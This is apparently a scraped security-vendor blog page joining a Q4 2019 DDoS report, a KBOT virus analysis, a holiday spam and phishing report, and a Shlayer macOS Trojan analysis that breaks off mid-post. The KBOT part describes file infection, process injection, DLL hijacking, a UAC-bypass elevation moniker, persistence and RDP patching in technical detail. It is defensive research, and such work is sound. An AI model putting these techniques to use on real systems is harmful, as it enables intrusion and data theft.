!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Distribution of DDoS attacks by day of the week, Q3 and Q4 2019 (download)

Duration and types of DDoS attacks

While the number of attacks fell, their duration rose significantly compared to the previous quarter. As such, the three longest attacks in the three-month period were ongoing for more than 20 days (494, 492, and 486 hours), while in the quarter before not a single one lasted 12 days. Nevertheless, the record for duration remains an attack carried out in Q2 2019 (506 hours, more than 21 days).

The average attack duration stayed approximately unchanged, while the share of the longest attacks (more than 140 hours) fell by a third to just 0.08%. Meanwhile, the share of the shortest attacks (up to 4 hours) also dropped in relative terms, decreasing by 2.5 p.p. to 81.86%.

But the proportion of attacks lasting 100–139 hours grew slightly (0.14%), as did attacks lasting 10–19 and 5–9 hours (5.33% and 10.19%, respectively). The two middle groups — attacks lasting 20–49 and 50–99 hours — fell insignificantly to 2.05% and 0.36%, respectively.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Distribution of DDoS attacks by duration (hours), Q3 and Q4 2019 (download)

The share of SYN flooding this quarter amounted to 84.6%, while UDP attacks surrendered second place to TCP, but only by a whisker (5.8% of all attacks against the latter’s 5.9%). The popularity of TCP attacks thus continues to grow (recall that last quarter they moved past HTTP flooding). The bottom two places did not change, although the shares of both types in the total number of attacks increased slightly: HTTP gained 0.5 p.p. (2.2%), while ICMP added 1.1 p.p. (1.6%).

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Distribution of DDoS attacks by type, Q4 2019 (download)

Linux botnets did not partake in the growth trend: this quarter their share marginally decreased to 97.4% (against 97.75% in the previous quarter). Accordingly, the share of Windows botnets grew by the same amount (0.35 p.p.) to 2.6%.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Ratio of Windows/Linux botnet attacks, Q3 and Q4 2019 (download)

Botnet distribution geography

In Q4 last year, the vast majority of botnets (58.33%) were registered in the US (up from 47.55% in the previous quarter). At the same time, the absolute number of C&C servers in the country almost halved.

The UK (14.29%) moved to runner-up spot, and China retained third (9.52%, roughly 3 p.p. higher than the quarter before). Fourth and fifth places this quarter went to Russia (3.57%) and Iran (2.38%), which climbed from 11th place. The combined share of other countries in the distribution of botnets is below 2%.

The most significant drop in the number of C&C servers was observed in the Netherlands, down from 45 to just one. In Germany and Vietnam, both in last quarter’s Top 10, no active botnets were registered this quarter.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Distribution of botnet C&C servers by country, Q4 2019 (download)


Q4 2019 saw stability in some areas and sharp changes in others. For instance, in the geographical distribution, Japan broke straight into the Top 3, while two of the previous quarter’s newcomers, contrary to the norm, secured a footing in the Top 10. At the same time, the geographical distribution of unique targets traditionally mirrors the distribution of the total number of attacks.

Another notable difference between Q3 and Q4 last year was the number and chronology of attacks. Thus, at the end of the year, the distribution by month, as well as by day of the week, was far more uniform. To the surprise of experts, the traditional peaks on Black Friday and over the Christmas and New Year season did not materialize. The duration of the longest attack almost doubled, coming dangerously close to the record set in Q2 2019.

Tellingly, in the last quarter of the year, the number of both attacks and C&C servers fell sharply, while the number of extra-long attacks (over 400 hours) was the highest ever recorded in the history of our observations. This is perhaps evidence of an upward trend in the number of complex and meticulously planned attacks, albeit at the expense of the total number of attacks.

2020. február 10.

KBOT: sometimes they come back

Although by force of habit many still refer to any malware as a virus, this once extremely common class of threats is gradually becoming a thing of the past. However, there are some interesting exceptions to this trend: we recently discovered malware that spread through injecting malicious code into Windows executable files; in other words, a virus. It is the first “living” virus in recent years that we have spotted in the wild.

We named it KBOT, and Kaspersky solutions detect the malware and its components as Virus.Win32.Kpot.a, Virus.Win64.Kpot.a, Virus.Win32.Kpot.b, Virus.Win64.Kpot.b, and Trojan-PSW.Win32.Coins.nav.

What does KBOT do

KBOT penetrates users’ computers via the Internet or a local network, or from infected external media. After the infected file is launched, the malware gains a foothold in the system, writing itself to Startup and the Task Scheduler, and then deploys web injects to try to steal the victim’s bank and personal data. For the same purpose, KBOT can download additional stealer modules that harvest and send to the C&C server almost full information about the user: passwords/logins, cryptowallet data, lists of files and installed applications, and so on. The malware stores all its files and collected data in a virtual file system encrypted using the RC6 algorithm, making it hard to detect.

Number of Virus.Win32.Kpot detections, March — December 2019

Infection methods

KBOT infects all EXE files on connected logical drives (HDD partitions, external media, network drives) and in shared network folders by adding polymorphic malicious code to the file body. To do so, the malware listens to the connection events of local and network logical drives using the IID_IwbemObjectSink interface and a query of type SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA ‘Win32_LogicalDisk, and overrides the Indicate function of the IWbemObjectSink interface, where for each drive it performs recursive scanning of directories and infects EXE files.

The malware retrieves paths to shared network resources using the API functions NetServerEnum and NetShareEnum, before scanning directories and infecting executable EXE files:

Like many other viruses, KBOT patches the entry point code, where the switch to the polymorphic code added to the start of the code section is implemented. As a result, the original code of the entry point and the start of the code section are not saved. Consequently, the original functionality of the infected file is not retained.

Virus code at the entry point

The jmp command makes the switch to the polymorphic code:

The virus also adds encrypted data to the end of one of the following sections: .rsrc, .data, .rdata. Data located after the selected section is shifted. At the same time, the parameters of the relocation table directory, resources directory, imports directory, parameters of sections, and other PE file parameters are modified accordingly. The encrypted data contains the body of the main malware module (DLL library), as well as code for decrypting, loading into memory, and running this library. The data is encrypted using the XOR method, plus the library is additionally encrypted with the RC4 algorithm and compressed using Aplib.

Example of an infected file

At the end of the polymorphic code is a classic piece of code for obtaining the kernel32.dll base:

Next, the API address of the VirtualProtect function is retrieved and used to set permissions to write and execute encrypted virus data located at the end of the above-mentioned .rsrc, .data, and .rdata sections. The data is decrypted, and the switch to the relevant code is made:

The code decrypts the DLL library with basic bot functionality (encrypted using RC4 and compressed using Aplib), maps the library headers and sections into memory, resolves the imports from the import directory, does manual relocations using information from the relocation table directory, and executes the code at the library entry point.

KBOT functions Injects

To conceal malicious activity in the system and its ability to operate in the context of system applications, KBOT attempts to inject code into running system processes.

Using the API functions OpenProcess/OpenProcessToken and GetTokenInformation, it retrieves the SID of the process into whose address space the main malware module is loaded. If the SID of the process matches WinLocalSystemSid, KBOT uses the CreateProcess API with the CREATE_SUSPENDED flag to create the new process svchost.exe, and then performs a classic inject: using the API functions NtCreateSection/NtMapViewOfSection, it allocates memory in the address space of the svchost.exe process, where it copies the header and sections of the main module, after which it resolves the imports from the import directory and does manual relocations using information from the relocation table directory. Next, KBOT calls the CreateRemoteThread/RtlCreateUserThread API with the address of the entry point. If the SID of the process does not match WinLocalSystemSid, the malware sets SeDebugPrivilege debug privileges and tries to perform a similar inject in the running processes services.exe and svchost.exe, whose SIDs match WinLocalSystemSid, as well as in the explorer.exe process.

KBOT also injects the DLLs specified in the injects.ini file (located in the virtual file storage) into the processes listed in the same INI file. Configuration files, including injects.ini, are encrypted in one of the last sections of the main module of the bot, from where they are read, decrypted, and moved to the virtual file storage. The sample first searches for the current version of the required file in its storage (it might be that the current version was previously retrieved from the C&C); in case of failure, it reads the file data from the original version, which is located in the body of the bot itself in encrypted form. A special bot module — JF (joined files) — handles the processing of such files. At the start of the encrypted data of every such file, there is a structure with a data description containing a JF signature.

Description of the data processing procedure of the configuration file

The structure with the description of the encrypted file data corresponds to each encrypted file attached:

Example of injects.ini:

The above-mentioned JUPITER.32 and JUPITER.64 are DLLs that perform web injects that help the malware steal users’ personal data entered in browsers: passwords, credit card/wallet numbers, etc.; such injects are carried out through spoofing web page content as a result of injecting malicious code into the HTTP traffic. For this, it is necessary to modify the code of the browser and system functions responsible for the transmission and processing of traffic. To do so, after performing an inject in the system and browser processes, the web-injects library patches the code of functions in popular browsers (Chrome, Firefox, Opera, Yandex.Browser) and the code of system functions for transmitting traffic:

The list of injects from the configuration file is stored by the malware in a global array of inject descriptors — a functionality analogous in many ways to the Rovnix bootkit.

Below we give an example of the configuration file kbot.ini, where Hosts is the C&C list and ServerPub is the public key for data encryption:

DLL hijacking

So as to operate in the address space of a legitimate system application when the system boots, the malware performs a DLL hijacking attack by infecting the system libraries specified in the import directory of the system executable file and placing them next to the system file, which is then written to Startup.

In the system folder C:\Windows\\System32, the malware searches for executable EXE files suitable for attack, excluding from consideration the following files:

  1. Containing the strings level=”requireAdministrator” and >true in the manifest. That is, executable files that need administrator rights to run. Calling such applications invokes a UAC dialog box.
  2. Containing in the import table library names starting with API-MS-WIN- and EXT-MS-WIN-. That is, files that contain virtual library names in imports and use the API Set redirection table in ApiSetSchema.dll. For such files, DLL hijacking is impossible to implement, because virtual names are translated into system library names with full paths.
  3. The names of which are contained in the stop list:

Having found an executable file that meets all the criteria, KBOT creates a folder with an arbitrary name in the system directory, and copies the detected EXE file to it, as well as the system DLLs located in the import directory of the executable file. To perform these operations with administrator privileges, the malware generates a shellcode (based on this code) using EIFOMoniker Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}”.

The above shellcode functionality

This shellcode, along with the necessary parameters, is injected into the explorer.exe process using the CreateRemoteThread API function.

After copying, the virus creates an arbitrarily named file in the same folder, which is an encrypted file storage; VFAT is used as the file system. Located in the storage is the current version of the main bot module, configuration files received from the C&C, system information, and other service data.

As a result, the directory containing the system application, DLLs from the import directory, and the KBOT service data storage looks as follows (the file name of the malware’s encrypted virtual storage is highlighted red):

Next, KBOT infects the copied system libraries. The code of the DLLEntryPoint entry point is overwritten with the following code:

As when infecting the executable file, the virus adds polymorphic code to the code section and encrypted code at the end of one of the .rsrc, .data, or .rdata sections. Unlike the code added to the EXE file, this code does not contain the encrypted main module of the bot, rather it reads and decrypts it from the file storage. Functions imported by the system EXE file from the created folder have their start overwritten with the code for performing the switch to the polymorphic code:

The further operating algorithm of the malicious code is analogous to that of the malicious code in the infected EXE files, except that the main bot module is read from the encrypted storage. The original data of the infected DLLs is not saved.
Encrypted code at the end of the last section of the DLL:

In this way, after the system EXE file is started, the imported DLLs located next to it are loaded into the address space of the process. After calling the imported functions, the malicious code is executed.


To run at system startup, the malware uses the following methods:

  1. It writes itself to Software\\Microsoft\\Windows\\CurrentVersion\\Run.
    To prevent a UAC window from appearing, it sets the value of the __compat_layer environment variable to RunAsInvoker. Using the CreateDesktop API, it creates a new desktop. Within the framework of this desktop, it uses the CreateProcess API to launch the regedit.exe process. It injects into this process the shellcode, which uses API functions for working with the registry to write the full path of the system EXE to the specified registry key.
  2. Using WMI tools, a task is created to run the system EXE file in Task Scheduler, next to which are the infected malicious DLLs (see DLL hijacking above).

KBOT performs a preliminary check of the current tasks in Task Scheduler, reads the contents of DLLs imported from the tasks by the EXE files, and searches for the infection signature data:

If there are no tasks with infected files, it creates a new task on behalf of the local system account (S-1-5-18) without a user name:

Task parameters:

Example of XML with the created task:

Remote management

To remotely manage the victim’s computer, KBOT establishes reverse connections with the servers listed in the BC.ini file.

To create several simultaneous sessions using the RDP protocol, the malware configures the Remote Desktop Server settings:

  1. It finds processes that have the termserv.dll library loaded in their memory.
  2. It patches the memory section of the found process where termserv.dll is loaded. Different patching code is applied for different system versions.
  3. During the patching process, it searches the memory of the module for specific sets of bytes, and replaces them with those specified.

Next, KBOT duly edits the values of the registry keys responsible for TermService settings (not all editable values are listed):

  • HKLM\SYSTEM\ControlSet\Control\TerminalServer\LicensingCore\ EnableConcurrentSessions
  • HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\EnableConcurrentSessions
  • HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\ AllowMultipleTSSessions
  • HKLM\SOFTWARE\Policies\Microsoft\WindowsNT\TerminalServices\MaxInstanceCount

It then restarts TermService and creates a user in the system for remote connections with the SID WinBuiltinRemoteDesktopUsersSid.

C&C communication

The malware, according to a timer and in a separate thread, starts a process for receiving and processing commands from the server. The list of commands is sent in the form of a buffer. To receive commands, the wininet.dll APIs for network connections are used. The domains for receiving commands are located in the hosts.ini file, which the malware periodically updates. All configuration files with C&C data and connection parameters are stored in encrypted form in one of the last sections of the main bot module; newer versions are stored in an encrypted VFAT storage, as previously mentioned. Files received from C&C are placed in an encrypted storage.

Example of hosts.ini configuration file

Bot IDs and detailed information about the infected system (computer name, domain, system language and version, list of local users, list of installed security software, etc.) are sent to C&C in advance. Traffic is encrypted using the AES algorithm:

The malware can receive the following commands from the C&C server:

  • DeleteFile — delete the specified file from the file storage.
  • UpdateFile — update the specified file in the file storage.
  • UpdateInjects — update injects.ini.
  • UpdateHosts — update hosts.ini.
  • UpdateCore — update the main bot module and the configuration file kbot.ini.
  • Uninstall — uninstall the malware.
  • UpdateWormConfig — update worm.ini containing information about the location of EXE files to be infected.

    Example of worm.ini

  • UpdateBackconnectConfig — update the configuration file with the list of servers for reverse connections.

    Example of bc.ini

  • Load — load the file into the storage; it loads spyware programs for collecting user data, as well as DLLs for web injects (saved under the names JUPITER.32 and JUPITER.64), their configuration files, etc.

    Example of part of the configuration file for a web inject


To complicate the analysis of its malicious activity, KBOT uses a set of obfuscation tools. When it loads, the main bot module checks whether the imported functions are patched for breakpoints; if so, it reloads the imported DLLs into memory, zeroes the names of the imported functions, and uses string obfuscation. The encrypted strings are stored in a special array of structures; to access them, the decryption function is called with the number of the string structure in the array. The strings are encrypted using the RC4 algorithm, and the decryption key is stored in the structure.

Example of an array of structures with a description of the strings

Access to the string:

Decryption function:

Obfuscation of the DLL that performs the web injects

The malware suspends IBM Trusteer Rapport threads (like the Carberp Trojan), and in the context of its process finds threads whose code was run from DLLs located at the path mask *\\Trusteer\\Rapport\\*.dll

Next, the malware scans the contents of the DLL for signatures of interest to it. If any are present, it suspends execution of the thread, patches the context so that it performs the Sleep function, and resumes the thread:

KBOT then scans the code of the imported functions for patches. If the code is patched (for example, a 0xcc breakpoint has been added), it reloads the imported libraries into memory and resolves imports.


The KBOT virus poses a serious threat, because it is able to spread quickly in the system and on the local network by infecting executable files with no possibility of recovery. It significantly slows down the system through injects into system processes, enables its handlers to control the compromised system through remote desktop sessions, steals personal data, and performs web injects for the purpose of stealing users’ bank data.


Executable files:
Infected EXEs:
x86 — 2e3a7d4cf86025f5873ebddf3dcacf72
x64 — 46b3c12b44f587ae25d6f38d2a8c4e0f
Infected DLLs:
x86 – 5f00df73bb6e84c49b9bf33ff1d552c3
x64 – 1c15c98bc57c48140558d0e8d71b4ecd


2020. február 7.

Happy New Fear! Gift-wrapped spam and phishing

Pre-holiday spam Easy money

In the run-up to Christmas and New Year, scam е-mails mentioning easy pickings, lottery winnings, and other cash surprises are especially popular. All the more so given how simple it is to adapt existing schemes simply by mentioning the holiday in the subject line.

For example, one scam е-mail with the subject line “Xsmas gift” or “Xmas offer” talks about a “special donation” and provides a contact е-mail address for more information. Recipients who respond are lured into parting with a sum of money through social engineering.

Scammers offering “Xmas gifts” are very persistent

Another Christmas-related scheme aims to steal cryptocurrency. Scammers offer the chance to earn some bitcoins before the holiday period using “secret” software that can be downloaded via a link:

After downloading and running the program (the malware Hoax.Win32.Agent.gen.), the user is prompted to enter their cryptowallet credentials and wait until the request is executed.

Next, the user is informed that the cryptocurrency will be credited to their account immediately after they pay a transfer fee. The result is predictable — the user earns no bitcoins, and the “fee” goes to the scammers.


Standard extortion schemes are also adapted for the festive period. For instance, the authors of this е-mail threaten to spoil the victim’s Christmas by smearing them as a pedophile. To prevent this, the recipient needs to transfer the equivalent of $5,000 in bitcoin to the extorters:

Malicious mailings and the corporate sector

Corporate е-mail addresses are also on the cybercriminal radar. To extract confidential information from recipients, or install malware, scammers mask malicious е-mails as business correspondence. In the pre-holiday period, when sales are on the rise, retail finds itself in a special risk zone. E-mails with malicious attachments (DOC or XLS) are sent under the guise of messages related to orders for goods.

For example, hidden in the attachment to this е-mail is Trojan-Downloader.MSOffice.SLoad.sb, which in turn downloads other malware to the victim’s computer:

Malicious attachments can also be disguised as invoices and payment notices. The archive attached to this е-mail actually contains the Trojan-PSW.MSIL.Agensla.hdt stealer, which harvests logins and passwords, and then sends them to the cybercriminals:



The share of spam as a percentage of world email traffic gradually increased throughout the entire Q4 2019 and in December amounted to 57.26%. Thus it almost reached the maximum value for the second half of the year — 57.78% (which we recorded in August).

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

The share of spam in global email traffic, Q3 and Q4 2019 (download)

A similar picture was observed in Russia. However, in the fall the growth was less pronounced:
From September to November the amount of spam traffic grew by a total of 0.86 percentage points (compared to a growth rate of 1.14 percentage points for the entire world) to reach 51.15% of total email volume. However, during the last month of the year, the share of spam jumped dramatically by 3.36 p.p. (compared to only 1.44% for the entire world) and exceeded even the summer indicators (54.51% in December as opposed to 53.5 % in July and 53.76% in August). Most likely, such a sharp rise can be attributed to the traditional uptick in holiday season activity by spammers.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

The share of spam in Russian email traffic, Q3 and Q4 2019 (download)

In the Asia-Pacific region as a whole, we also observed an increase in the amount of spam in email traffic from September (50.19%) to December (52.62%). As you can see from the diagram, the increase is quite gradual. At the same time, the volume of junk messages reached a peak in January, when their share made 55.48%. This is most likely due to the lunar new year, which is celebrated in most of the countries of the region and which this year fell on January 25.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

The share of spam in email traffic in the Asia-Pacific Region, July 2019 – January 2020 (download)

Christmas/New Year phishing Fake websites

Phishers lured users onto fake pages with the promise of favorable T&Cs, discounts, gifts. For example, they tried to gain access to Amazon Prime accounts by offering Christmas promotions supposedly on behalf of the service; to take part, users were asked to enter their account credentials.

Besides fake versions of real websites, non-existent stores popped up online offering huge discounts. Their catalogs typically contain a very limited range of premium-class products, and the websites themselves look more like landing pages. A characteristic attribute of such sites is a countdown timer showing how much time is left before the “promotion” ends.

In addition to expensive goods, scammers offer libido-boosting drugs — also at great discounts. The product range in such “medical stores” is not very wide:

The information about the domain shows that it was registered recently, which is another indicator of fakeness.


Nor did scammers overlook gamers. For instance, we discovered phishing pages mimicking the Warface multiplayer website. In honor of New Year, one of the fakes promised gamers 30-days’ free use of some powerful weapons, while another presented a golden rifle for joining Santa’s helpers. To receive either “prize,” players had to enter their username and password on a fake login page, thereby giving the scammers access to their account. Accounts with a high in-game rank and unique, paid-for weapons can fetch a good price.

Cash gifts

Fake websites promising easy money were also given a festive makeover: they offered New Year payouts to the poor, sponsorship gifts, giveaways, etc. As usual in such cases, visitors are invited to complete a simple task, for example, take a survey and enter some personal data. After a five-digit sum seemingly ready for transfer is displayed on screen, the victim is asked to pay a service fee — which, of course, goes straight to the scammers.

To add credibility and urgency, the attackers place eye-catching information to nudge the victim into acting: notifications about the limited nature of the offer, number of visitors who are currently filling in the form, or a “bonuses” countdown:

Crypto fans did not escape phishers’ attention either. It was shortly before Christmas that we came across a scheme offering a festive giveaway of bitcoins and ether supposedly from the Binance crypto exchange. Naturally, to receive a “gift” it was necessary to confirm participation by transferring 5 BTC or 50 ETH to the “organizers.”

To promote the “event,” the scammers posted an article about it on the Medium platform with dozens of enthusiastic comments from “winning” users.


Phishers also contributed to the uptick in activity during the holiday period. In Q4 2019, the share of attacks that sought to steal financial data and accounts at online banks and stores out of the total number of phishing attacks amounted to 52.61%. This exceeds both the indicator for the previous quarter (43.19%) and the indicator for the whole year (51.4%). We observed a similar situation in 2018 and 2017, with the only difference being that the jump was more noticeable last year — from 44.67% on average for the entire year and 34.67% in Q3 to 51.18% in Q4.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

The share of phishing attacks on online stores and financial services during Q3 and Q4 of 2017, 2018, and 2019 (download)

It is curious that by the end of 2019, fraudsters had partially lost interest in electronic payment services. For the first time in three years, in Q4 the share of phishing attacks on such resources decreased by 1.21 percentage points compared to the previous reporting period and amounted to 14%.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

The share of phishing attacks on online stores and financial services during Q3 and Q4 of 2017, 2018, and 2019 (download)

At the same time, the popularity of non-financial categories of websites also fell, and in the ranking of the most popular attack targets for the last quarter, payment services rose from fourth to third place, displacing social networks and blogs, which were attacked only in 5.89% of cases. The leading targets by number of phishing attacks in Q4 were bank resources (29.73%), ahead of global Internet portals (22.81%), which had led the ranking during the previous quarter (23.81%).

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

The distribution of organizations whose users were attacked by phishers by category during Q4 2019 (download)

We analyzed the number of attacks on major commercial platforms during the period of November 11 to December 31. The number of attacks during this period jumped as expected shortly before Black Friday, which occurred on November 29, and remained at a high level until the Christmas and New Year holidays. In particular, the number of phishing schemes that were perpetrated under the Ebay brand since mid-November has remained at 1% (of the total number of attacks that used the brand for the specified period), and as of November 27, this figure was 3.15%, and as of December 2, it grew by almost one-and-a-half percentage points to 4.63%.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

The distribution of phishing attacks using the Ebay brand by day, November 11, 2019 — December 31, 2019 (download)

We observed a similar situation with phishing attacks that utilized the Alibaba brand:
The peak of activity occurred on November 27 and lasted until December 4. In both cases there was a short break in fraudulent activity in the middle of December: On December 15 it fell practically to zero, but it again began to rise with the approach of Christmas and New Year.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

The distribution of phishing attacks using the Alibaba brand by day, November 11, 2019 — December 31, 2019 (download)

Tips and recommendations

So as not to fall for scams and tricks, it is important to take easy money offers with a massive pinch of festive salt.

If you are a consumer:

  • Remember that the only free cheese is in a mousetrap. If you are suddenly offered a reward for taking part in a survey, or a huge discount on luxury goods, be very wary.
  • Do not follow links in е-mails or messages in social networks if you have even the slightest doubt.
  • Be very careful when making purchases on unfamiliar websites. If an online store has few products, it might not be real. If the URL of a well-known website seems strange, that too is cause for concern.
  • Do not install software from unknown sources advertised in е-mails.
  • Use a reliable security solution.

If you are a company employee:

  • Read incoming е-mails from strangers with a critical eye. To spot malicious content in business correspondence, we recommend that you first check the sender address and autosignature. If they do not match, it should raise a red flag. It is also worth comparing the information in the е-mail with that on the website of the company in whose name the message was sent — the contact details might be completely different.
2020. január 23.

Shlayer Trojan attacks one in ten macOS users

For close to two years now, the Shlayer Trojan has been the most common threat on the macOS platform: in 2019, one in ten of our Mac security solutions encountered this malware at least once, and it accounts for almost 30% of all detections for this OS. The first specimens of this family fell into our hands back in February 2018, and we have since collected almost 32,000 different malicious samples of the Trojan and identified 143 C&C server domains.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

TOP 10 threats for macOS by share of users attacked, as detected by Kaspersky security solutions for macOS, January– November 2019 (download)

The operation algorithm has changed little since Shlayer was first discovered, nor has its activity decreased much: the number of detections remains at the same level as in the first months after the malware was uncovered.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Shlayer malware detections by Kaspersky security solutions for macOS, February 2018 – October 2019 (download)

Technical details

Despite its prevalence, from a technical viewpoint Shlayer is a rather ordinary piece of malware. Of all its modifications, only the recent Trojan-Downloader.OSX.Shlayer.e stands apart. Unlike its Bash-based cousins, this variant of the malware is written in Python, and its operation algorithm is also somewhat different. Let’s demonstrate this using a DMG file with MD5 4d86ae25913374cfcb80a8d798b9016e.

First stage of infection

After mounting this DMG image, the user is prompted to run an “installation” file. However, the seemingly standard installer turns out to be a Python script, which is already atypical of macOS installation software.

Shlayer user guide

The directory with executable files inside the application package contains two Python scripts: gjpWvvuUD847DzQPyBI (main) and goQWAJdbnuv6 (auxiliary). The latter implements data encryption functions by means of a byte shift on the key key:

  • The encryptText/decryptText pair of functions encrypt and decrypt strings;
  • encryptList encrypts the contents of the list passed in the arguments; decryptList performs the inverse operation;
  • The getKey() function generates an encryption key based on the time in the operating system.

Main script of the Trojan

Auxiliary script of the Trojan

Next, the main script generates a unique user and system ID, and also collects information about the version of macOS in use. Based on this data, the GET query parameters are generated to download the ZIP file:

The ZIP archive downloaded to the /tmp/%(sessionID) directory is unpacked to the /tmp/tmp directory using the unzip function:

The ZIP archive was found to contain an application package with the executable file 84cd5bba3870:

After unpacking the archive, the main python script uses the chmod tool to assign the file 84cd5bba3870 permission to run in the system:

For added effect, the sample copies the icon of the original mounted DMG image to the directory with the newly downloaded application package using the moveIcon and findVolumePath functions:

After that, the Trojan runs the downloaded and unpacked application package using the built-in open tool, and deletes the downloaded archive and its unpacked contents:

Second stage of infection

Shlayer itself performs only the initial stage of the attack — it penetrates the system, loads the main payload, and runs it. The negative consequences for the user can be seen by investigating the AdWare.OSX.Cimpli family, which was being actively downloaded by the Trojan at the time of writing.

At first glance, the Cimpli installer looks harmless enough, simply offering to install a partner application (for example, Any Search):

But in actual fact, Cimpli performs several actions unseen by the user. First, it installs a malicious extension in Safari, hiding the OS security notification behind a malware fake window. By clicking on the buttons in the notification, the user in effect agrees to install the extension.

Left: what the user sees; right: what’s really going on

One of these extensions is called ManagementMark, which we detect as not-a-virus:HEUR:AdWare.Script.SearchExt.gen. It monitors user searches and redirects them to the address hxxp://lkysearchex41343-a.akamaihd[.]net/as?q=c by injecting the script script.js in the browser pages:

The sample also loads the mitmdump tool, which is packed using PyInstaller. To allow mitmdump to view HTTPS traffic, a special trusted certificate is added to the system. This is likewise done by superimposing a fake window over the installation confirmation box. After that, all user traffic is redirected to the SOCKS5 proxy launched using mitmdump.

Arguments for running the packed mitmdump run arguments

From the screenshot, it can be seen that all traffic passing through mitmdump (SearchSkilledData) is processed by the script SearchSkilledData.py (-s option):

This script redirects all user search queries to hxxp://lkysearchds3822-a.akamaihd[.]net. Kaspersky solutions detect this script as not-a-virus:AdWare.Python.CimpliAds.a.

Cimpli adware thus becomes firmly anchored in the system; in the event that traffic does not pass through the proxy server, the JS code of the extension injected in the page handles the redirection of queries. The attacker gains access to the user’s search queries and can modify the search engine results to display advertising. As a result, the user is inundated with unsolicited ads.

Note that Cimpli is not the only family of adware apps that Shlayer can download. The list also includes AdWare.OSX.Bnodlero, AdWare.OSX.Geonei, and AdWare.OSX.Pirrit, which made up almost all the remaining positions in the Top 10 threats for macOS in 2019.

Family ties

